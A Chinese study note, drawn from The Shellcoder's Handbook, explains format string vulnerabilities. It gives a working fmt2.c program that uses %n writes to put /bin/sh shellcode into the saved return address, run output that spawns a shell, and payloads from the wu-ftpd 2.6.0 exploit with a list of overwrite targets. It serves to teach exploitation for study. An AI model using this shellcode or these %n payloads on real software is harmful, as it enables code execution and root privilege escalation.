聲明:主要內容來自《The Shellcoder's Handbook》,摘錄重點作為筆記並加上個人的一些理解,如有錯,請務必指出。
格式化串漏洞
當printf系列函數的格式化串裡包含使用者提交的資料時,有可能出現格式化串漏洞。攻擊者可能提交許多格式化字元(但不提供對應的變數),這樣棧上就沒有和格式符相對於的參數,因此系統就會用棧上的其他資料代替這項參數,從而導致資訊泄露和執行指定的代碼。以下面的程式為例:
#include <stdio.h> int main(int argc, char *argv[]) { if (argc != 2) return 1; printf(argv[1]); printf("/n"); return 0; }
sep@debian66:~/shellcode$ cc -o fmt fmt.c fmt.c:13:2: warning: no newline at end of file sep@debian66:~/shellcode$ ./fmt "%x %x %x %x" bfefb224 bfefb1a8 bfefb1b0 b7e66c8c sep@debian66:~/shellcode$
編譯,運行,printf從棧上找來四個資料充數輸出。這提供給我們一個可能性:攻擊者可能利用它來擷取棧上的資料,意味著對棧本身來說可能是敏感資訊,如使用者名稱、密碼等。如果提交多個%x格式符,則可以獲知更多的棧上資料。【疑問:我們知道這些資料來自棧上,但具體在棧的哪裡?是當前ESP的位置嗎?】
轉換格式符:d、i、o、u、x用於整數,e、f、g、a用於浮點數,c用於字元,特別留意下面兩個:
s--這個參數被視為指向字串的指標,將以字串的形式輸出參數;
n--這個參數被視為指向整形(包括int、short、char等)的指標,在這個參數之前輸出的字元的數量將被儲存到這個參數指向的地址裡。
%n格式符把它的參數作為記憶體位址,把前面輸出的字元數量寫到那個地址。這意味著我們有機會改寫某個記憶體位址裡的資料,從而控製程序的執行。如果滿足下麵條件,就可以利用格式化串漏洞執行任意代碼:
1、我們能控制%n參數,並可以把輸出的字元的數量寫入記憶體的指定地區;
2、寬度格式符允許用任意長度(事實上最長可為255個字元)填充輸出。因此,可以用字串長度改寫單個位元組;
3、重複上面步驟4次的話,就能改寫記憶體中的任意4B,也就是說,攻擊者可以利用這個方法改寫記憶體位址;
4、我們可以猜測函數指標的地址(儲存的返回地址RET、二進位檔案的匯入表、c++ vatable等),因此我們可以促成系統把提交的字串當成代碼來執行。
我寫了這樣的一個程式,把shellcode的地址通過printf填到RET:
//file: fmt2.c//cc -o fmt2 fmt2.c -mpreferred-stack-boundary=2#include <stdio.h>char shellcode[] = "/xeb/x1a/x5e/x31" "/xc0/x88/x46/x07" "/x8d/x1e/x89/x5e" "/x08/x89/x46/x0c" "/xb0/x0b/x89/xf3" "/x8d/x4e/x08/x8d" "/x56/x0c/xcd/x80" "/xe8/xe1/xff/xff" "/xff/x2f/x62/x69" "/x6e/x2f/x73/x68"; int main(){ int *ret; ret = (int *)&ret + 2; printf("%p/n", shellcode); printf("%0*d%n/n", (int)shellcode &0xff, 0, (char *)ret); printf("%0*d%n/n", ((int)shellcode>>8) &0xff, 0, (char *)ret+1); printf("%0*d%n/n", ((int)shellcode>>16)&0xff, 0, (char *)ret+2); printf("%0*d%n/n", ((int)shellcode>>24)&0xff, 0, (char *)ret+3);}
注意printf("%0*d%n/n", (int)shellcode &0xff, 0, (char *)ret);語句,*號用於動態指定輸出寬度,配合%n參數,就可以將shellcode的地址填到我們想要的記憶體位址中。編譯運行:
sep@debian66:~/shellcode$ cc -o fmt2 fmt2.c -mpreferred-stack-boundary=2sep@debian66:~/shellcode$ ./fmt20x804968000000000000000000000000000000000000000000000000000000000000000...0 <0x80個0>00000000000000000000000000000000000000000000000000000000000000...0 <0x96個0>000000000000sh-3.1$
得到一個shell,證明fmt2退出後確實運行了shellcode,假設fmt2屬主是root,並把suid開啟,則派生shell也會繼承root特權。
利用格式化串漏洞,書上以wu-ftpd 2.6.0為例展開闡述如何使得服務崩潰和擷取記憶體中的資料。
控製程序的執行
書中仍然以wu-ftpd 2.6.0為例展開如何利用printf漏洞讓程式執行我們的shellcode。過程還是相當複雜的,需要裝redhat9.0 + wu-ftpd2.6.0來實踐一次。
書中有個地方比較難以理解:
./dowu localhost $'/x41/x41/x41/x41%272$n' 1
如果用gdb跟蹤wu-ftp的執行情況,你會看到進程正在試著把0x0000000a寫入地址0x41414141。
對於“./dowu localhost $'/x41/x41/x41/x41%272$n' 1”,在wu-ftpd中會展為“site index $'/x41/x41/x41/x41%272$n'”語句。272$是利用site index彈出棧上的第272個值(這裡在272處就是字串本身的頭4b,即/x41/x41/x41/x41,也就是AAAA)。系統會把彈出的AAAA(0x41414141)作為%n參數,另外字串“/x41/x41/x41/x41%272$n”的長度是0xa,故printf將把0xa寫入地址0x41414141中。理解這些,接下來的疑問不大,可利用填充位元組增加字串的長度,如./dowu
localhost $'/x41/x41/x41/x41%50000x%272$n' 1將0xc35a(50000+10)寫到地址0x41414141中。
0x41414141隻是為了驗證我們的想法而選擇的地址。實際中應該選擇一個有意義的地址,可以從多個目標中選擇它:
1、儲存的返回地址(棧溢出,用資訊泄露的方法來確定返回地址的位置);
2、全域位移表(GOT),動態重定位對函數;
3、解構函式表(DTORS);
4、C函數庫鉤子,例如malloc_hook、realloc_hook和free_hook;
5、atexit結構;
6、所有其他的函數指標,例如C++ vtables、回呼函數等;
7、Windows裡預設未處理的例外處理常式,它幾乎總是在同一地址。
先來看下in.ftpd裡的GOT:
objdump -R /usr/sbin/in.ftpd
...
0806d3b0 R_386_JUMP_SLOT printf
...
我們可以修改儲存在0806d3b0裡的地址來重新導向程式的執行流程。利用格式化串修改儲存在0806d3b0裡的地址之後,wu-ftpd會希望執行到printf,從而執行指定的代碼。接下來如何把shellcode上傳到GOT的地址空間,詳見原書P64。
針對wu-ftpd的這個漏洞,最流行的破解是wuftpd2600.c。
格式化串技術概述
格式化串參數:
1、可用%s從目標進程讀取記憶體資料;
2、可用%n把輸出字串長度寫入任意地址;
3、可用寬度修飾符修改輸出的字元的數量;
4、可用%hn修飾符每次寫入16位元值。
直接參數訪問允許多次重用同一格式化串裡的棧參數,也允許直接用那些我們感興趣的參數。直接參數訪問包括使用$修飾符,例如:
%272$x
將顯示棧上的第272個參數。這是很重要的技巧。